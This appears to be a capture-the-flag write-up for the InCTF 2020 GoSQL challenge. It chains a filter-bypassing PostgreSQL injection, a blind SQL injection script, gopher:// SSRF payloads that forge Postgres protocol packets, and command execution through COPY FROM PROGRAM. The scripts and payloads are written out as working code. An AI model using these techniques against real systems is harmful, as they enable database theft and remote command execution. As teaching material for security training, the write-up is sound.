TLDR : You need to demonstrate SQL injection + SSRF + Packet analysis + RCE to get the flag
When accessing http://35.224.182.105/ you are given PHP script```|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor";
if (preg_match("/$blacklist/i", $name)){  die("Try Hard");}
if (preg_match("/$blacklist/i", $column)){  die("Try Hard");}
$query = "select " . $column . " from inctf2020 where username = " . $name ;
$ret = pg_query($db_connection, $query);
if($ret){while($row = pg_fetch_array($ret)){if($row['username']=="admin"){      header("Location:{$row['go_to']}");}  else{      echo "<h4>You are not admin " . "</h4>";  }
}}else{echo "<h4>Having a query problem" . "</h4>";}
highlight_file(__FILE__);?>```
## Bypass filterFrom the code analysis, we know need to bypass the MONSTROUS filter.
We need to analyse two things seperately. The A column part and B string part`SELECT (A) WHERE inctf2020 = (B)`
A part
From the filter we know that we can't use `*`,`username`,`go_to` for our column, we could by pass this by using unicode
`select U&"\0075sern\0061me" where ...` and `select "username" where ...` are the same
B part
The filter also blocks the usage of single quotation `'`. So how could we craft string constant without `'`?
The answer is using dollar sign.
https://www.postgresql.org/docs/9.5/sql-syntax-lexical.html (See the documentation about dollar sign)and to concat strings we can use `||` sign
`select ... from inctf2020 where username = $$ad$$||$$mi$$||$$n$$` and `select  ... from inctf2020 where username = 'admin'` are the same
So here is our request`column=U&"\0075sern\0061me",U&"g\006f_t\006f"` and `name=$$ad$$||$$mi$$||$$n$$`url encode it and send the request`http://35.224.182.105/?column=U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22&name=$$ad$$||$$mi$$||$$n$$`
## PHP page with curl feature
Next you will be redirected to `http://35.224.182.105/feel_the_gosql_series.php`
Here you are able to enter url and the server will curl the url.
For example try `http://example.com`![](https://imgur.com/download/Nxpt9Jl)
You can try with other protocols as well such as `file://`, `ftp://`, `php://` ,etc. But some of the protocols are blocked by backend php.
From the previous  GoSQL challenges, the challenges used `gopher://` for ssrf
And this time we could use the same technique too.
The things that is different is that the server is using  postgres as backend.
So we need to craft postgres packet and then use it with gopher protocol.
A good blog post about how to craft packet is written by Spy3dr himself in https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/.You need to read this to understand how gopher works in this challenge.
From the blog post we know that gopher exploit only works when database uses username without password. So we need to leak username
## Leak usernameSo how do we leak username?
We could do this by using sql injection.
In this task, we are going to use blind sql injection to get the database username
In blind sql injection, `LIKE` or similar is used to leak thingsFor example
`select * from t where username LIKE 'A%'`
So we need to be able to execute this command to leak username
`select username,goto where username = case (user LIKE 'A%') then 'admin' else 'zzz' end`
Things that we can do to convert above query:1. `lpad` and `rpad` could be used instead of `LIKE` (`rpad(user, 2, 'x') = 'aa')`2. Instead of using space ` ` we could use newline '\n'
So here is our query that we want
`select username,goto from inctf2020 where username = lpad('admin',4+(case when ('te'=rpad(user,2,'x')) then 1 else 0 end),'x');`
or
`select U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22 where username = lpad($$ad$$||$$mi$$||$$n$$,4+(case when ($$te$$=rpad(user,2,$$x$$)) then 1 else 0 end),$$xx$$);`
We could use the same technique to leak database name
Here is python script to leak username and database name
```import requestsimport string
def dbgetter():    url = "http://35.224.182.105/"    column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''    d = ""    for i in range(20):        for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}":            s = d + c            s = "$$||$$".join(s)            s = "$$" + s + "$$"            name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s  +"=rpad(current_database()," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"            name = name.replace(" ", "\n")            r = requests.get(url, params={                "column": column,                "name": name            })            success = "functionality" in r.text            if success:                d = d + c        print(d)
def usernamegetter():    url = "http://35.224.182.105/"    column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''    d = ""    for i in range(20):        for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}":            s = d + c            s = "$$||$$".join(s)            s = "$$" + s + "$$"            name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s  +"=rpad(user," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"            name = name.replace(" ", "\n")            r = requests.get(url, params={                "column": column,                "name": name            })            success = "functionality" in r.text            if success:                d = d + c        print(d)
if __name__ == "__main__":    usernamegetter()    dbgetter()```
From here we know the username is `honeysingh` and database name is `gosqlv3`
## SSRFRead this blog post to craft gopher packet  https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/.
TL;DR 1. Create postgres user without password2. Use tshark and record packet on localhost loopback interfrace3. On another console try to login to postgres from localhost `psql -h localhost -U user`4. Open pcap captured packets on wireshark5. You get the packets you want
Here is the python script to trigger ssrf```import binascii
def main():    print("\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m")    user = "honeysingh"    database = "gosqlv3"    user_encoded = user.encode("utf-8").hex()    database_encoded = database.encode("utf-8").hex()
    # Connect    dump  = "000000" + "00" + "00"    dump += "03000075736572" + "00" + user_encoded + "00"    dump += "6461746162617365" + "00" + database_encoded + "00"    dump += "6170706c69636174696f6e5f6e616d65" + "00"    dump += "7073716c" + "00"    dump += "636c69656e745f656e636f64696e67" + "00"    dump += "55544638" + "0000"    d = list(dump)
    h = str(binascii.unhexlify(dump))    d[6] = hex(len(dump)//2)[2]    d[7] = hex(len(dump)//2)[3]    dump = ''.join(d)    h = str(binascii.unhexlify(dump))
    queue = input("\033[96m" +"\nQueue: " + "\033[0m")    dump1  = "51000000" + "00"    dump1 += queue.encode("utf-8").hex()    dump1 += "00"    d = list(dump1)    if len(hex(len(dump1)//2-1)) == 4:        d[8] = hex(len(dump1)//2-1)[2]        d[9] = hex(len(dump1)//2-1)[3]    elif len(hex(len(dump1)//2-1)) == 3:        d[9] = hex(len(dump1)//2-1)[2]
    dump1 = ''.join(d)
    dump2 = "5800000004"
    print(dump)    print(dump1)    q = dump + dump1 + dump2    a = [q[i:i+2] for i in range(0,len(q),2)]
    print("gopher://127.0.0.1:5432/_%" + "%".join(a))
if __name__ == "__main__":    main()```
It is an ugly script but it WORKS
For example we can find postgres version with this query`SELECT VERSION();`
The python script produces`gopher://127.0.0.1:5432/_%00%00%00%55%00%03%00%00%75%73%65%72%00%68%6f%6e%65%79%73%69%6e%67%68%00%64%61%74%61%62%61%73%65%00%67%6f%73%71%6c%76%33%00%61%70%70%6c%69%63%61%74%69%6f%6e%5f%6e%61%6d%65%00%70%73%71%6c%00%63%6c%69%65%6e%74%5f%65%6e%63%6f%64%69%6e%67%00%55%54%46%38%00%00%51%00%00%00%16%53%45%4c%45%43%54%20%56%45%52%53%49%4f%4e%28%29%3b%00%58%00%00%00%04`
Copy that gopher url to http://35.224.182.105/feel_the_gosql_series.php input
And you'll get postgresql version![](https://imgur.com/download/hnSZrde)
You can execute other queries as well. 
## RCENext we need to be able to execute scripts 
we can execute script by using `COPY FROM PROGRAM` command;`CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls /';`
But in order to be able to execute this command you need to be super user.
First we are curious what users / roles exist in postgres`SELECT * FROM pg_catalog.pg_user`
From the result we know that there is another username `inctf`.
and `inctf` user have superuser privilege
From here we could run shell command with this sql command
`SET ROLE 'inctf'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls / -lah'; SELECT * FROM cmd_exec;`
![](https://imgur.com/download/z6gtAGb)
After execute the query, you can find and executable `/readFlag`
execute that to get your flag`inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}`
